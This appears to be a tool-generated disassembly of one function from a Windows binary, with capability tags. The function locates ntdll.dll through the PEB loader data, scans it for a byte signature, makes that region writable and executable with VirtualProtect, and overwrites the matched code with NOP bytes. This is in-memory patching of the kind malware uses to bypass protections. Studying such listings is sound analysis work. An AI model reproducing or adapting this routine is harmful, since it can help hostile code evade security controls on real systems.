Function at 0x1000b4c0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, str.ntdll.dll
xor edi, edi
test eax, eax
mov dword [ebp - 4], edi
je 0x1000b513
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push edi
push edi
push 0xffffffffffffffff
push eax
push edi
push edi
call ebx
mov esi, eax
test esi, esi
je 0x1000b513
lea ecx, [esi + esi + 2]
push ecx
call fcn.10030d66
add esp, 4
mov edi, eax
mov dword [ebp - 4], edi
push esi
push edi
push 0xffffffffffffffff
push str.ntdll.dll
push 0
push 0
call ebx
mov word [edi + esi*2], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
test edi, edi
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x18], eax
jne 0x1000b537
mov esi, dword [ecx + 0x18]
jmp 0x1000b734
cmp ecx, eax
mov dword [ebp - 8], ecx
je 0x1000b729
mov eax, dword [ebp - 8]
cmp word [edi], 0
mov ecx, dword [eax + 0x30]
mov eax, edi
mov dword [ebp - 0xc], ecx
je 0x1000b55c
add eax, 2
cmp word [eax], 0
jne 0x1000b553
sub eax, edi
sar eax, 1
lea esi, [eax + eax + 2]
push esi
call fcn.10030d66
mov ebx, eax
add esp, 4
test ebx, ebx
mov dword [ebp - 0x10], ebx
mov ecx, esi
je 0x1000b5b3
test ecx, ecx
je 0x1000b58d
dec ecx
mov edx, edi
sub edx, ebx
lea esi, [ecx + 1]
mov cl, byte [edx + eax]
mov byte [eax], cl
inc eax
dec esi
jne 0x1000b584
cmp word [ebx], 0
mov eax, ebx
je 0x1000b5b3
mov cx, word [eax]
cmp cx, 0x61
jb 0x1000b5aa
cmp cx, 0x7a
ja 0x1000b5aa
add ecx, 0xffffffe0
mov word [eax], cx
add eax, 2
cmp word [eax], 0
jne 0x1000b595
mov ecx, dword [ebp - 0xc]
test ecx, ecx
jne 0x1000b5be
xor eax, eax
jmp 0x1000b5d3
cmp word [ecx], 0
mov eax, ecx
je 0x1000b5cf
add eax, 2
cmp word [eax], 0
jne 0x1000b5c6
sub eax, ecx
sar eax, 1
lea esi, [eax + eax + 2]
push esi
call fcn.10030d66
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebp - 0x14], edi
mov ecx, esi
je 0x1000b62b
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x1000b605
test ecx, ecx
je 0x1000b605
dec ecx
sub edx, edi
lea esi, [ecx + 1]
mov cl, byte [edx + eax]
mov byte [eax], cl
inc eax
dec esi
jne 0x1000b5fc
cmp word [edi], 0
mov eax, edi
je 0x1000b62b
mov cx, word [eax]
cmp cx, 0x61
jb 0x1000b622
cmp cx, 0x7a
ja 0x1000b622
add ecx, 0xffffffe0
mov word [eax], cx
add eax, 2
cmp word [eax], 0
jne 0x1000b60d
test ebx, ebx
jne 0x1000b633
xor ecx, ecx
jmp 0x1000b64a
cmp word [ebx], 0
mov eax, ebx
je 0x1000b644
add eax, 2
cmp word [eax], 0
jne 0x1000b63b
sub eax, ebx
sar eax, 1
mov ecx, eax
test edi, edi
jne 0x1000b652
xor eax, eax
jmp 0x1000b667
cmp word [edi], 0
mov eax, edi
je 0x1000b663
add eax, 2
cmp word [eax], 0
jne 0x1000b65a
sub eax, edi
sar eax, 1
cmp ecx, eax
jle 0x1000b673
xor esi, esi
mov si, word [ebx + eax*2]
jmp 0x1000b6e6
jge 0x1000b67f
xor esi, esi
mov si, word [edi + ecx*2]
neg esi
jmp 0x1000b6e6
test ebx, ebx
je 0x1000b720
test edi, edi
je 0x1000b720
lea edx, [ecx + ecx]
push 4
push edx
call fcn.1003114a
mov esi, dword [ebp - 0x10]
mov ebx, edx
add esp, 8
xor edx, edx
test eax, eax
jle 0x1000b6bb
mov ecx, dword [esi]
add esi, 4
sub ecx, dword [edi]
add edi, 4
test ecx, ecx
jne 0x1000b711
inc edx
cmp edx, eax
jl 0x1000b6a8
test ebx, ebx
je 0x1000b6dc
xor edx, edx
mov ecx, esi
test ebx, ebx
jle 0x1000b6dc
sub edi, esi
movsx esi, byte [edi + ecx]
movsx eax, byte [ecx]
sub eax, esi
inc ecx
test eax, eax
jne 0x1000b6de
inc edx
cmp edx, ebx
jl 0x1000b6c9
xor eax, eax
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x10]
mov esi, eax
push ebx
call fcn.10030d5b
push edi
call fcn.10030d5b
add esp, 8
test esi, esi
je 0x1000b715
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 4]
mov eax, dword [eax]
cmp eax, ecx
mov dword [ebp - 8], eax
jne 0x1000b542
jmp 0x1000b729
mov eax, ecx
jmp 0x1000b6de
mov ecx, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esi, dword [ecx + 0x18]
jmp 0x1000b72b
push 0
push 0
call fcn.1003116f
xor esi, esi
push edi
call fcn.10030d5b
add esp, 4
mov eax, dword [esi + 0x3c]
push str.0F86________8B750885F674__03D63BC20F83
add eax, esi
mov edx, dword [eax + 0x1c]
mov eax, dword [eax + 0x2c]
add eax, esi
push edx
push eax
call fcn.1002de70
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000b7a6
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push 0x1000
push esi
call edi
test eax, eax
je 0x1000b7a6
mov eax, esi
mov edx, 0x90909090
mov dword [eax], edx
mov word [eax + 4], dx
lea eax, [esi + 0x11]
test eax, eax
je 0x1000b78a
mov ecx, edx
mov dword [eax], ecx
mov word [eax + 4], cx
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x10]
push edx
push eax
push 0x1000
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret